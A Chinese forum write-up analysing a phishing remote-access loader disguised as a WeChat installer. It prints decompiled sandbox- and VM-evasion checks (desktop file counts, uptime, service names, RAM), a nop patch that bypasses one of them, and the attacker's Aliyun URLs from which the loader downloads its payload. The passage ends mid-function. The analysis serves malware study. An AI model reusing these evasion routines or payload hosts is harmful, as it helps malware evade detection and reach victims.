首页
社区
课程
招聘
[原创]反沙箱钓鱼远控样本分析[2024.6]
3天前 1732

[原创]反沙箱钓鱼远控样本分析[2024.6]

3天前
1732

老大发我一份样本学习,现与大家一起分享交流
原作者首发:https://xz.aliyun.com/t/14610,感谢原作者分享样本
本文编写时攻击者已经撤了资源,并且互联网上没有找到 样本资料,因此部分流程无法分析。但是已经基本把反沙箱、反虚拟机以及混淆看了。

样本信息

样本信息
微步:https://s.threatbook.com/report/file/b3e8070d005d4f68f5a2bd3e4bed287b2b1dd9e8ee3d3ceb409c58f0f2d39d28
报告:b3e8070d005d4f68f5a2bd3e4bed287b2b1dd9e8ee3d3ceb409c58f0f2d39d28-report.pdf

hash
SHA256:b3e8070d005d4f68f5a2bd3e4bed287b2b1dd9e8ee3d3ceb409c58f0f2d39d28
MD5:403eda5d13e6fdf8ff839442b9536001
SHA1:c45c4c9e01dfb9ac48f05ff6cc23f0238021a946

样本特殊的点在于,反沙箱做得很好,微步查不出来,行为也就无从分析了
image.png
那就下载看一下

行为观察

下载样本,观察,发现伪装成企业微信安装程序,加了一些版权信息
image.png
image.png
打开火绒剑,过滤这个进程
image.png
双击样本,没有要管理员权限,注册表操作了很多东西
image.png
在虚拟机中执行,他获取了一些注册表信息,比如current user,机器语言等信息,属于默认操作,然后打开了一系列system32的dll。没有什么敏感的操作
直接看静态分析吧

loader逻辑

首先查壳,无壳,C++编写
image.png
脱了符号表
来到winmain,开始分析

sub_1400042B0(没逆明白,求指点)

经过一溜的分析,来到sub_1400042B0函数,如果这里返回false,就会退出程序

1
2
if ( (unsigned __int8)sub_1400042B0() )
    goto LABEL_150;

跟进sub_1400042B0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
getcwd(DstBuf, 260);
*(_OWORD *)Block = 0i64;
v13 = 0i64;
v14 = 0i64;
v0 = -1i64;
do
    ++v0;
    while ( DstBuf[v0] );                         // 移动指针到dstbuf中数据下一位
v1 = 0x7FFFFFFFFFFFFFFFi64;
if ( v0 > 0x7FFFFFFFFFFFFFFFi64 )
    sub_1400014C0();                            // 长度超出判断
v14 = 15i64;
if ( v0 < 0x10 )                              // 如果getcwd获取的绝对路径长度小于0x10,复制路径到block变量,截断末尾为0
{
    v13 = v0;
    memcpy(Block, DstBuf, v0);
    *((_BYTE *)Block + v0) = 0;
    goto LABEL_19;                              // 跳转
}

label_19首当其冲的函数,主要做std:locale::facet的实现,这里是正则表达式的实现,比如sub_140014A20就在一i列特殊字符中寻找匹配的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
char __fastcall sub_140014A20(char **a1)
{
.....
  if ( *a1 == a1[2] )
  {
    LODWORD(v2) = -1;
    *((_BYTE *)a1 + 120) = -1;
    v3 = -1;
  }
  else
  {
    v4 = **a1;
    *((_BYTE *)a1 + 120) = **a1;
    v2 = strchr("()$^.*+?[]|\\-{},:=!\n\r\b", v4);
    v3 = *((_BYTE *)a1 + 120);
    v7 = v2 == 0i64;
    LODWORD(v2) = v3;
    .....

具体地说,这里的 sub_140010470 生成了std::locale::对象,做了一系列操作,这里不太明白,先查看后面的内容

1
2
3
4
5
6
7
v2 = (struct std::_Facet_base **)(a1 + 1);
v15 = (void **)(a1 + 1);
a1[4] = (__int64)std::locale::_Init(1);
std::_Lockit::_Lockit((std::_Lockit *)v17, 0);
v3 = qword_14004F838;
v14 = (struct std::_Facet_base *)qword_14004F838;
v4 = std::locale::id::operator unsigned __int64(std::collate<char>::id);

开发者设置了匹配的正则规则

1
2
3
4
v18[0] = "C:\\\\[A-Za-z0-9]{7}$";
v18[1] = "C:\\\\[A-Za-z0-9]{7}$";
v18[2] = "";
v18[3] = 0i64;

这里的block是函数内缓冲区

1
2
3
4
5
v15 = Block;
*(_OWORD *)Block = 0i64;
v20 = 0ui64;
v9 = (void **)operator new(0x30ui64);
v15 = v9;

然后进入sub_140014A20进行正则匹配
跳过原生处理,这里越跟越头大,原生库代码量太大了,果断拿出来。上面大概的逻辑就是获取工作目录,然后判断是否满足七位大小写字母加数字的组合
回到上一级函数sub_1400042B0,继续跟进label19
观察返回值,sub_1400042B0检测的结果由sub_140013C30决定

1
2
3
v8 = sub_140013C30((_DWORD)v7, v6, (unsigned int)&v15, (unsigned int)v18);
.....
    return v8;

提取过来的工作目录存放在block变量中,赋值给v7,然后由sub_140013C30调用

1
2
3
4
v7 = Block;
if ( v14 >= 0x10 )
    LODWORD(v7) = Block[0];
v8 = sub_140013C30((_DWORD)v7, v6, (unsigned int)&v15, (unsigned int)v18);

跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// A1是传入的工作目录变量,a4是设置的正则表达式
char __fastcall sub_140013C30(void *a1, void *a2, __int64 a3, __int64 *a4, __int64 a5, __int64 a6)
{
  int v6; // r12d
  __int64 v10; // r15
  char v12; // bp
  void *v15; // rax
  int v16; // edi
  void *v17; // rcx
  char v18[16]; // [rsp+40h] [rbp-148h] BYREF
  void *v19[30]; // [rsp+50h] [rbp-138h] BYREF
 
  v6 = (int)a4;
  v10 = *a4;
  if ( !*a4 )
    return 0;
  v12 = 0;
  memset(v19, 0, 0xE8ui64);
  sub_140014630((unsigned int)v19, (_DWORD)a1, (_DWORD)a2, v6 + 8, v10, *(_DWORD *)(v10 + 40), *(_DWORD *)(v10 + 32));
  if ( (unsigned __int8)sub_140015360(v19, a3) )
    goto LABEL_10;

sub_140014630将要用到的参数整合到一个句柄数组中,尤其注意a1+208存放正则表达式+8偏移,176是正则地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// a1空void数组,a2传入的工作路径,a4 正则+8偏移,a5 正则地址
__int64 __fastcall sub_140014630(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, int a6, int a7)
{
    unsigned __int64 v8; // rbx
    __int64 v9; // rbp
    unsigned __int64 v10; // rcx
    unsigned __int64 v11; // rbx
    size_t v12; // rbx
 
    *(_QWORD *)a1 = 0i64;
    *(_QWORD *)(a1 + 8) = 0i64;
    *(_QWORD *)(a1 + 16) = 0i64;
    *(_QWORD *)(a1 + 24) = 0i64;
    *(_QWORD *)(a1 + 32) = 0i64;
    *(_QWORD *)(a1 + 40) = 0i64;
    *(_QWORD *)(a1 + 48) = 0i64;
    *(_QWORD *)(a1 + 56) = 0i64;
    *(_QWORD *)(a1 + 64) = 0i64;
    *(_QWORD *)(a1 + 72) = 0i64;
    *(_QWORD *)(a1 + 80) = 0i64;
    *(_QWORD *)(a1 + 88) = 0i64;
    *(_QWORD *)(a1 + 96) = 0i64;
    *(_QWORD *)(a1 + 104) = 0i64;
    *(_QWORD *)(a1 + 112) = 0i64;
    *(_QWORD *)(a1 + 120) = 0i64;
    *(_QWORD *)(a1 + 128) = 0i64;
    *(_QWORD *)(a1 + 136) = 0i64;
    *(_QWORD *)(a1 + 144) = 0i64;
    *(_QWORD *)(a1 + 152) = 0i64;
    *(_QWORD *)(a1 + 160) = a3;
    *(_QWORD *)(a1 + 168) = a2;
    *(_QWORD *)(a1 + 176) = a5;
    *(_DWORD *)(a1 + 184) = a7;
    *(_DWORD *)(a1 + 188) = 0;
    *(_BYTE *)(a1 + 192) = 0;
    *(_DWORD *)(a1 + 196) = a6;
    *(_BYTE *)(a1 + 200) = (*(_DWORD *)(a5 + 12) & 8) != 0;
    *(_QWORD *)(a1 + 208) = a4;
    v8 = *(unsigned int *)(a5 + 36);
    v9 = *(_QWORD *)(a1 + 136);
    ......

接下来的代码围绕v19展开。后续都是内存操作,以及没符号表的一大堆函数,没逆明白....
动调也看不出个所以然????

sub_140006C50 检索桌面文件数量

在1400042B0函数后,还有获取已知文件夹(这里是用户桌面)路径

1
2
3
4
5
6
7
8
9
10
if ( SHGetKnownFolderPath(&rfid, 0, 0i64, &ppszPath) < 0 )
  {
    LODWORD(v9) = 1;
  }
  else
  {
    v8 = sub_140006C50(ppszPath);
    CoTaskMemFree(ppszPath);
    v9 = v8 < 6;
  }

这个rfid的值如下

1
2
3
4
5
6
.rdata:0000000140038780                               ; const KNOWNFOLDERID rfid
.rdata:0000000140038780 3A CC BF B4 2C DB 4C 42 B0 29+rfid dd 0B4BFCC3Ah                           ; Data1
.rdata:0000000140038780 7F E9 9A 87 C6 41                                                     ; DATA XREF: WinMain+150↑o
.rdata:0000000140038780                               dw 0DB2Ch                               ; Data2
.rdata:0000000140038780                               dw 424Ch                                ; Data3
.rdata:0000000140038780                               db 0B0h, 29h, 7Fh, 0E9h, 9Ah, 87h, 0C6h, 41h; Data4

在官网(https://learn.microsoft.com/en-us/windows/win32/shell/knownfolderid)找到了对应的GUID,是**FOLDERID_Desktop,**也就是当前用户的桌面image.png
访问默认用户需要管理员权限。
跟进sub_140006C50,传入了桌面路径
其中,经过对路径的处理(增加通配符"\\*"到路径末尾),调用FindFirstFileW,获取桌面下第一个find的文件的句柄,存放到_WIN32_FIND_DATAW类型的FindFileData中

1
2
3
4
v4 = (const WCHAR *)lpFileName;
  if ( si128.m128i_i64[1] >= 8ui64 )
    v4 = lpFileName[0];
  FirstFileW = FindFirstFileW(v4, &FindFileData);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _WIN32_FIND_DATAW {
  DWORD    dwFileAttributes;          // 文件属性,如只读、隐藏、系统文件等
  FILETIME ftCreationTime;            // 文件创建时间
  FILETIME ftLastAccessTime;          // 文件最后访问时间
  FILETIME ftLastWriteTime;           // 文件最后写入时间
  DWORD    nFileSizeHigh;             // 文件大小的高32位,用于大文件
  DWORD    nFileSizeLow;              // 文件大小的低32位
  DWORD    dwReserved0;               // 保留字段,不使用
  DWORD    dwReserved1;               // 保留字段,不使用
  WCHAR    cFileName[MAX_PATH];       // 文件名
  WCHAR    cAlternateFileName[14];    // 文件的8.3缩写格式名称,不常用
  DWORD    dwFileType;                // 文件类型,已废弃,不应使用
  DWORD    dwCreatorType;             // 创建者类型,已废弃,不应使用
  WORD     wFinderFlags;              // 查找标志,已废弃,不应使用
} WIN32_FIND_DATAW, *PWIN32_FIND_DATAW, *LPWIN32_FIND_DATAW;

后续对这个数据的处理,获取属性,如果不是16(FILE_ATTRIBUTE_DIRECTORY 16 (0x00000010) 标识目录的句柄),则计数器加一,并继续寻找下一个文件数据,直到检查完所有桌面的文件,返回非目录文件的数量

1
2
3
4
5
6
7
8
9
do
  {
    if ( FindFileData.dwFileAttributes != 16 )
      ++v1;
  }
  while ( FindNextFileW(FirstFileW, &FindFileData) );
  FindClose(FirstFileW);
  return v1;
}

如果桌面存放的非目录文件小于六个(五个以内),则v9为真,退出程序

1
2
3
v8 = sub_140006C50(ppszPath);
CoTaskMemFree(ppszPath);
v9 = v8 < 6;

sub_140003B10 获取当前进程目录下文件名

紧接着的是sub_140003B10,其中获取当前进程所在目录

1
GetCurrentDirectoryA(0x104u, Buffer);

经过对字符的处理后前往19标签

1
2
3
4
5
6
7
8
9
10
11
12
13
do
    ++v2;
    while ( Buffer[v2] );
if ( v2 > 0x7FFFFFFFFFFFFFFFi64 )
    sub_1400014C0();
v37 = 15i64;
if ( v2 < 0x10 )
{
    v36 = v2;
    memcpy(lpFileName, Buffer, v2);
    *((_BYTE *)lpFileName + v2) = 0;
    goto LABEL_19;
}

又是寻找当前进程目录文件

1
FirstFileA = FindFirstFileA(v8, &FindFileData);

不过这里是对比文件信息,看一下这个大循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
do
  {
    v31 = 20;
    v30[0] = 46; // '.'当前目录
    if ( !strcmp(FindFileData.cFileName, (const char *)v30) )
      continue;
    v32[1] = 107;
    v32[2] = 107;
    strcpy((char *)v32, "..");// 父目录
    if ( !strcmp(FindFileData.cFileName, (const char *)v32) || (FindFileData.dwFileAttributes & 0x10) != 0 )
      continue;
    v28 = 0i64;
    v29 = 0ui64;
    v13 = -1i64;
    do
      ++v13;
    while ( FindFileData.cFileName[v13] );
    if ( v13 > 0x7FFFFFFFFFFFFFFFi64 )
      sub_1400014C0();
    *((_QWORD *)&v29 + 1) = 15i64;
    if ( v13 < 0x10 )
    {
      *(_QWORD *)&v29 = v13;
      memcpy(&v28, FindFileData.cFileName, v13);
      *((_BYTE *)&v28 + v13) = 0;
      goto LABEL_51;
    }
    v14 = v13 | 0xF;
    if ( (v13 | 0xF) > 0x7FFFFFFFFFFFFFFFi64 )
    {
      v14 = 0x7FFFFFFFFFFFFFFFi64;
      v15 = 0x8000000000000027ui64;
LABEL_45:
      v17 = operator new(v15);
      if ( !v17 )
        goto LABEL_60;
      v18 = (_QWORD *)(((unsigned __int64)v17 + 39) & 0xFFFFFFFFFFFFFFE0ui64);
      *(v18 - 1) = v17;
      goto LABEL_50;
    }
    if ( v14 < 0x16 )
      v14 = 22i64;
    v16 = v14 + 1;
    if ( v14 + 1 >= 0x1000 )
    {
      v15 = v14 + 40;
      if ( v14 + 40 <= v14 + 1 )
        sub_140001420(v16);
      goto LABEL_45;
    }
    if ( v14 == -1i64 )
      v18 = 0i64;
    else
      v18 = operator new(v16);
LABEL_50:
    *(_QWORD *)&v28 = v18;
    *(_QWORD *)&v29 = v13;
    *((_QWORD *)&v29 + 1) = v14;
    memcpy(v18, FindFileData.cFileName, v13);
    *((_BYTE *)v18 + v13) = 0;
LABEL_51:
    v19 = *((_QWORD *)&v33 + 1);
    if ( *((_QWORD *)&v33 + 1) == v34 )
    {
      sub_140013FE0(&v33, *((_QWORD *)&v33 + 1), &v28);
      v20 = *((_QWORD *)&v29 + 1);
    }
    else
    {
      **((_OWORD **)&v33 + 1) = v28;
      *(_OWORD *)(v19 + 16) = v29;
      v20 = 15i64;
      LOBYTE(v28) = 0;
      *((_QWORD *)&v33 + 1) += 32i64;
    }
    if ( v20 >= 0x10 )
    {
      v21 = (void *)v28;
      if ( v20 + 1 >= 0x1000 )
      {
        v21 = *(void **)(v28 - 8);
        if ( (unsigned __int64)(v28 - (_QWORD)v21 - 8) > 0x1F )
LABEL_60:
          invalid_parameter_noinfo_noreturn();
      }
      j_j_free_0(v21);
    }
  }
  while ( FindNextFileA(FirstFileA, &FindFileData) );

整体操作就是跳过"."和"..",将剩余的文件名存放在一个数据结构里,最后返回数据结构

1
2
3
4
5
6
7
8
9
10
11
12
v22 = v34;
v34 = 0i64;
v23 = *((_QWORD *)&v33 + 1);
v24 = 0i64;
v25 = v33;
v26 = 0i64;
v33 = 0ui64;
*a1 = v25;
a1[1] = v23;
a1[2] = v22;
.....
    return a1;

这个a1其实就是一开始传入的block void参数。现在充当索引数组的作用
image.png

RECENT目录文件数与GetTickCount限制

回到win main,继续往下

1
2
3
4
5
ppszPath = 0i64;
if ( SHGetKnownFolderPath(&stru_140038790, 0, 0i64, &ppszPath) < 0 )
    goto LABEL_149;
sub_140011810(lpFileName, ppszPath);
append(lpFileName, L"\\*.*");

获取FOLDERID_Recent(C:\Users\Wang\AppData\Roaming\Microsoft\Windows\Recent),并追加通配符匹配所有带后缀的文件

1
2
3
4
5
.rdata:0000000140038790 81 C0 50 AE D2 EB 8A 43 86 55+stru_140038790 dd 0AE50C081h                           ; Data1
.rdata:0000000140038790 8A 09 2E 34 98 7A                                                     ; DATA XREF: WinMain+2AF↑o
.rdata:0000000140038790                               dw 0EBD2h                               ; Data2
.rdata:0000000140038790                               dw 438Ah                                ; Data3
.rdata:0000000140038790                               db 86h, 55h, 8Ah, 9, 2Eh, 34h, 98h, 7Ah ; Data4

image.png
继续获取目录下文件信息,获取非目录文件数量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
v22 = (const WCHAR *)lpFileName;
if ( v85 >= 8 )
    v22 = lpFileName[0];
FirstFileW = FindFirstFileW(v22, &FindFileData);
if ( FirstFileW != (HANDLE)-1i64 )
{
    do
        {
            v24 = v21 + 1;
            if ( (FindFileData.dwFileAttributes & 0x10) != 0 )
                v24 = v21;
            v21 = v24;
        }
        while ( FindNextFileW(FirstFileW, &FindFileData) );
    FindClose(FirstFileW);
}
CoTaskMemFree(ppszPath);

如果数量小于等于5,或者GetTickCount()计时器值小于0x75300(480000ms,是否少于八小时),就会退出程序。这个GetTickCount的最大值是49.7天(0xFFFFFFFF

1
2
if ( v21 <= 5 || GetTickCount() < 0x75300 || (unsigned __int8)sub_1400040C0() || (unsigned int)sub_140004570() )
    goto LABEL_149;

这里还有两个函数,分别是与时间间隔和服务扫描有关的,分别分析

sub_1400040C0 时间间隔保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
v0 = Xtime_get_ticks() / 10000;
perf_frequency = Query_perf_frequency();
perf_counter = Query_perf_counter();
if ( perf_frequency == 10000000 )
    v3 = 100 * perf_counter;
else
    v3 = 1000000000 * (perf_counter / perf_frequency) + 1000000000 * (perf_counter % perf_frequency) / perf_frequency;
v4 = v3 + 300000000;
if ( v3 >= 0x7FFFFFFFEE1E5CFFi64 )
    v4 = 0x7FFFFFFFFFFFFFFFi64;
while ( 1 )
    {
        v5 = Query_perf_frequency();
        v6 = Query_perf_counter();
        v7 = v5 == 10000000 ? 100 * v6 : 1000000000 * (v6 / v5) + 1000000000 * (v6 % v5) / v5;
        ticks = Xtime_get_ticks();
        if ( v7 >= v4 )
            break;
        v9 = 100 * ticks;
        v10 = v4 - v7;
        v11 = v9 - 1391067136;
        v12 = (double)((int)v4 - (int)v7);
        if ( v12 <= 8.64e14 )
            v11 = v10 + v9;
        v13 = v9 + v10;
        v14 = v9 + 864000000000000i64;
        if ( v12 <= 8.64e14 )
            v14 = v13;
        v15 = (__int64)((unsigned __int128)(v14 * (__int128)0x112E0BE826D694B3i64) >> 64) >> 26;
        v17.sec = (v15 >> 63) + v15;
        v17.nsec = v11 - 1000000000 * LODWORD(v17.sec);
        Thrd_sleep(&v17);
    }
return (int)(((ticks / 10000 + -300 - v0) ^ ((unsigned __int64)(ticks / 10000 + -300 - (int)v0) >> 32))
    - ((unsigned __int64)(ticks / 10000 + -300 - (int)v0) >> 32)) > 100;

sub_1400040C0 沙箱服务扫描

OpenSCManagerW打开服务管理器,localalloc分配一个存放sevice枚举状态的变量

1
2
3
4
5
6
7
8
9
10
v0 = OpenSCManagerW(0i64, 0i64, 4u);
if ( !v0 )
    return 0xFFFFFFFFi64;
v1 = 0i64;
pcbBytesNeeded = 0;
ServicesReturned = 0;
ResumeHandle = 0;
v2 = (struct _ENUM_SERVICE_STATUSA *)LocalAlloc(0x40u, 0x10000ui64);
if ( !EnumServicesStatusA(v0, 0x30u, 3u, v2, 0x10000u, &pcbBytesNeeded, &ServicesReturned, &ResumeHandle) )
    return 0xFFFFFFFFi64;
1
2
3
4
5
typedef struct _ENUM_SERVICE_STATUSA {
LPSTR          lpServiceName;
LPSTR          lpDisplayName;
SERVICE_STATUS ServiceStatus;
} ENUM_SERVICE_STATUSA, *LPENUM_SERVICE_STATUSA;

enumServicesStatusA函数枚举指定的服务控制管理器数据库中的服务。 提供了每个服务的名称和状态。

1
2
3
4
5
6
7
8
9
10
BOOL EnumServicesStatusA(
    [in]                SC_HANDLE              hSCManager,           // 输入: 服务控制管理器的句柄
    [in]                DWORD                  dwServiceType,        // 输入: 要枚举的服务类型
    [in]                DWORD                  dwServiceState,       // 输入: 要枚举的服务状态
    [out, optional]     LPENUM_SERVICE_STATUSA lpServices,           // 输出: 枚举服务的状态数组
    [in]                DWORD                  cbBufSize,            // 输入: lpServices 缓冲区的大小(字节)
    [out]               LPDWORD                pcbBytesNeeded,       // 输出: 需要的字节数,如果缓冲区太小则返回所需大小
    [out]               LPDWORD                lpServicesReturned,   // 输出: 返回的服务状态结构的数量
    [in, out, optional] LPDWORD                lpResumeHandle        // 输入/输出: 用于继续枚举的恢复句柄
);

这里静态调试摸不明白,动调一手,符号找到EnumServicesStatusA,然后摸到这个解密函数,运行完之后可以观察到,这里获取到的服务是AJRoute(AllJoyn Router Service),解密之后rax寄存器存放VMware Tools
image.png
下面还有Virtual MachineVirtualBox Guestimage.png

一直运行到vmware tools服务,进程就会退出。image.png
这里可以通过nop实现绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00007FF67361465E | E8 1DBA0000              | call 同济大学文档保护系统.7FF673620080            |
00007FF673614663 | 48:8D3C5B                | lea rdi,qword ptr ds:[rbx+rbx*2]        | rdi:&"vmvss"
00007FF673614667 | 48:8BD0                  | mov rdx,rax                             | rdx:"VMware Tools"
00007FF67361466A | 48:C1E7 04               | shl rdi,4                               | rdi:&"vmvss"
00007FF67361466E | 49:03FE                  | add rdi,r14                             | rdi:&"vmvss", r14:&"AJRouter"
00007FF673614671 | 48:8B4F 08               | mov rcx,qword ptr ds:[rdi+8]            | [rdi+08]:"VMware Snapshot Provider"
00007FF673614675 | FF15 9D3D0300            | call qword ptr ds:[<strstr>]            |
00007FF67361467B | 48:85C0                  | test rax,rax                            |
00007FF67361467E | 90                       | nop                                     |
00007FF67361467F | 90                       | nop                                     |
00007FF673614680 | 90                       | nop                                     |
00007FF673614681 | 90                       | nop                                     |
00007FF673614682 | 90                       | nop                                     |
00007FF673614683 | 90                       | nop                                     |
00007FF673614684 | 66:0F6F0D F4BE0300       | movdqa xmm1,xmmword ptr ds:[7FF67365058 |
00007FF67361468C | 48:8D4D 90               | lea rcx,qword ptr ss:[rbp-70]           |
00007FF673614690 | 0F57C0                   | xorps xmm0,xmm0                         |
00007FF673614693 | 66:0F7F4D C0             | movdqa xmmword ptr ss:[rbp-40],xmm1     |

内存大小检查

1
2
3
4
5
6
7
8
GlobalMemoryStatusEx(&Buffer);
  if ( (Buffer.ullTotalPhys & 0x8000000000000000ui64) != 0i64 )
    ullTotalPhys_low = (double)(int)(Buffer.ullTotalPhys & 1 | (Buffer.ullTotalPhys >> 1))
                     + (double)(int)(Buffer.ullTotalPhys & 1 | (Buffer.ullTotalPhys >> 1));
  else
    ullTotalPhys_low = (double)SLODWORD(Buffer.ullTotalPhys);
  v4 = v81;
  if ( ullTotalPhys_low * 9.313225746154785e-10 >= 4.0 && !(unsigned int)sub_140004E60(v81, v6) )

外联

仍旧在main函数中
首先是加密在代码中的二进制数据,把他按照给定的算法解密成url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
v29 = "01110111011100101001101100110001001110010100101010101101010110011100010100001111101110000101000111110001111111"
        "10101000010110101010100100110011100010001001001100001111011000001111111000010010101111011000010010010100111110"
        "10110000000110010100101101111111111100001101101100110101110100000101000000111010000101010100001101011010001101"
        "00110100010110010110110011111111101001000000000111011101000010010010110010110110100110101011111011110010110100"
        "11110110110111100101100111101110110001111110001101011110101110100010101001101010110000100101111010001000111010"
        "01111001100111000101011100110100110101011001111110111001000111100100100000110000010011001100010110011011110111"
        "100011111011111001110011110001010100001111011111010100000";
  v30 = 5i64;
  v31 = 5i64;
  do
  {
    *(_OWORD *)v28 = *(_OWORD *)v29;
    *((_OWORD *)v28 + 1) = *((_OWORD *)v29 + 1);
    *((_OWORD *)v28 + 2) = *((_OWORD *)v29 + 2);
    *((_OWORD *)v28 + 3) = *((_OWORD *)v29 + 3);
    *((_OWORD *)v28 + 4) = *((_OWORD *)v29 + 4);
    *((_OWORD *)v28 + 5) = *((_OWORD *)v29 + 5);
    *((_OWORD *)v28 + 6) = *((_OWORD *)v29 + 6);
    v28 += 128;
    *((_OWORD *)v28 - 1) = *((_OWORD *)v29 + 7);
    v29 += 128;
    --v31;
  }
  while ( v31 );
  *(_OWORD *)v28 = *(_OWORD *)v29;
  *((_OWORD *)v28 + 1) = *((_OWORD *)v29 + 1);
  *((_OWORD *)v28 + 2) = *((_OWORD *)v29 + 2);
  *((_OWORD *)v28 + 3) = *((_OWORD *)v29 + 3);
  *((_QWORD *)v28 + 8) = *((_QWORD *)v29 + 8);
  *((_DWORD *)v28 + 18) = *((_DWORD *)v29 + 18);
  v28[76] = v29[76];
  v27[717] = 0;
  v95[1] = 0i64;
  v32 = operator new(0xE20ui64);
  v95[0] = (__int64)v32;
  v96 = 3611i64;
  v97 = 3615i64;
  memcpy(v32, aFrequency128Le, 0xE1Bui64);
  v32[3611] = 0;
  sub_140003840(v106, &Buffer, v95);
  sub_140004830(v93, v106, v4, v6);
  v33 = v93;
  if ( v94.m128i_i64[1] >= 0x10ui64 )
    v33 = (__int64 *)v93[0];
  v34 = (char *)v33 + v94.m128i_i64[0];
  v35 = v93;
  if ( v94.m128i_i64[1] >= 0x10ui64 )
    v35 = (__int64 *)v93[0];
  sub_140012AE0(Block, v35, v34);

逆向算法不是我的专长,这里直接用dbg调出来,从内存里看
获得http的信息装填到临时变量中,后面解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v36 = InternetOpenW(L"Baidu", 1u, 0i64, 0i64, 0);
v37 = v36;
v38 = Block;
if ( v83.m128i_i64[1] >= 8ui64 )
    v38 = (void **)Block[0];
v39 = InternetOpenUrlW(v36, (LPCWSTR)v38, 0i64, 0, 0x80000000, 0i64);
v40 = v39;
if ( !v39 )
{
    v41 = v83.m128i_u64[1];
    goto LABEL_60;
}
LODWORD(ppszPath) = 4;
HttpQueryInfoW(v39, 0x20000013u, &v81, (LPDWORD)&ppszPath, 0i64);
InternetCloseHandle(v40);
InternetCloseHandle(v37);

解出来的结果

1
2
3
4
5
6
00007FF6736173B8 | FF15 C2100300            | call qword ptr ds:[<InternetOpenUrlW>]  |
00007FF6736173BE | 48:8BF8                  | mov rdi,rax                             | rdi:"{\"frequency\": 128, \"left\": {\"frequency\": 59, \"left\": {\"frequency\": 27, \"left\": {\"frequency\": 12, \"left\": {\"frequency\": 6, \"left\": {\"char\": \"f\", \"frequency\": 3}, \"right\": {\"char\": \"w\", \"frequency\": 3}}, \"right\": {\"frequency\": 6, \"left\": {\"char\": \"p\", \"frequency\": 3}, \"right\": {\"char\": \"/\", \"frequency\": 3}}}, \"right\": {\"frequency\": 15, \"left\": {\"frequency\": 7, \"left\": {\"char\": \"u\", \"frequency\": 3}, \"right\": {\
00007FF6736173C1 | 48:85C0                  | test rax,rax                            |
00007FF6736173C4 | 75 44                    | jne 同济大学文档保护系统.7FF67361740A             |
00007FF6736173C6 | 48:8B55 B8               | mov rdx,qword ptr ss:[rbp-48]           |
00007FF6736173CA | 48:83FA 08               | cmp rdx,8                               | rdx:L"https://fish-123.oss-cn-shanghai.aliyuncs.com/2d471a8f-8944-4b2d-9c84-a9fa32635d7b.txt"

下载一个txt到内存,暂时存储
还会有一个url存储在内存中,会再次下载

1
https://fish-123.oss-cn-shanghai.aliyuncs.com/27f6fe91-b4d3-4dd9-89cd-03b8ed32fe0d.jpg

image.png
中途有messagebox跳出骚扰窗口
image.png
这个口令硬编码
image.pngimage.png

接着下载刚刚新的jpg云文件,跟进sub_140006A60
从aliyun下载加密文件(https://fish-123.oss-cn-shanghai.aliyuncs.com/27f6fe91-b4d3-4dd9-89cd-03b8ed32fe0d.jpg)

1
https://fish-123.oss-cn-shanghai.aliyuncs.com/27f6fe91-b4d3-4dd9-89cd-03b8ed32fe0d.jpg

接着程序生成feishu.exe(恶意程序)
首先生成恶意程序路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
memset(&FindFileData, 0, 37);
FindFileData.dwReserved1 = 0;
*(_DWORD *)FindFileData.cFileName = 53;
*(__m128i *)&FindFileData.cFileName[2] = _mm_load_si128((const __m128i *)&xmmword_140040380);
*(__m128i *)&FindFileData.cFileName[10] = _mm_load_si128((const __m128i *)&xmmword_140040520);
*(__m128i *)&FindFileData.cFileName[18] = _mm_load_si128((const __m128i *)&xmmword_14003FF20);
*(__m128i *)&FindFileData.cFileName[26] = _mm_load_si128((const __m128i *)&xmmword_14003FFC0);
*(__m128i *)&FindFileData.cFileName[34] = _mm_load_si128((const __m128i *)&xmmword_14003FFB0);
*(__m128i *)&FindFileData.cFileName[42] = _mm_load_si128((const __m128i *)&xmmword_14003FF80);
*(__m128i *)&FindFileData.cFileName[50] = _mm_load_si128((const __m128i *)&xmmword_1400401C0);
*(__m128i *)&FindFileData.cFileName[58] = _mm_load_si128((const __m128i *)&xmmword_140040370);
*(_DWORD *)&FindFileData.cFileName[66] = 83;
*(_DWORD *)&FindFileData.cFileName[68] = 82;
v48 = sub_140008070(&FindFileData);

这一定是某个三方库(不知道有没有人知道),前面也有用到的(vmware服务名,文章里没记录)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall sub_140008070(__int64 a1)
{
  __int64 result; // rax
 
  *(_BYTE *)a1 = (char)(19 * (*(_DWORD *)(a1 + 40) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 1) = (char)(19 * (*(_DWORD *)(a1 + 44) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 2) = (char)(19 * (*(_DWORD *)(a1 + 48) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 3) = (char)(19 * (*(_DWORD *)(a1 + 52) - 70) % 127 + 127) % 127;
  *(_BYTE *)(a1 + 4) = (char)(19 * (*(_DWORD *)(a1 + 56) - 70) % 127 + 127) % 127;
